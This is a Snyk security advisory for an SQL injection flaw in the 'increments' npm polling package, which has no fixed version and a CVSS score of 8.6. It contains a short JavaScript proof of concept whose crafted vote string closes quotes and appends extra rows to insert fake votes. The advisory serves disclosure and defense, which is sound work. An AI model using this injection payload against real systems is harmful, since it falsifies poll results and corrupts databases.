SQL Injection Affecting increments package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-INCREMENTS-544024
  • published 3 Feb 2020
  • disclosed 2 Feb 2020
  • credit verichains

Introduced: 2 Feb 2020

CVE NOT AVAILABLE CWE-89 Open this link in a new tab

How to fix?

There is no fixed version for increments.

Overview

increments is a database-driven for creating polls and taking votes for various options, candidates, or parties.

Affected versions of this package are vulnerable to SQL Injection. Does not escape voting data allowing attacker to create fake votes.

PoC

const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
    console.log( f.projectedWinner );
    process.exit(0);
});

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None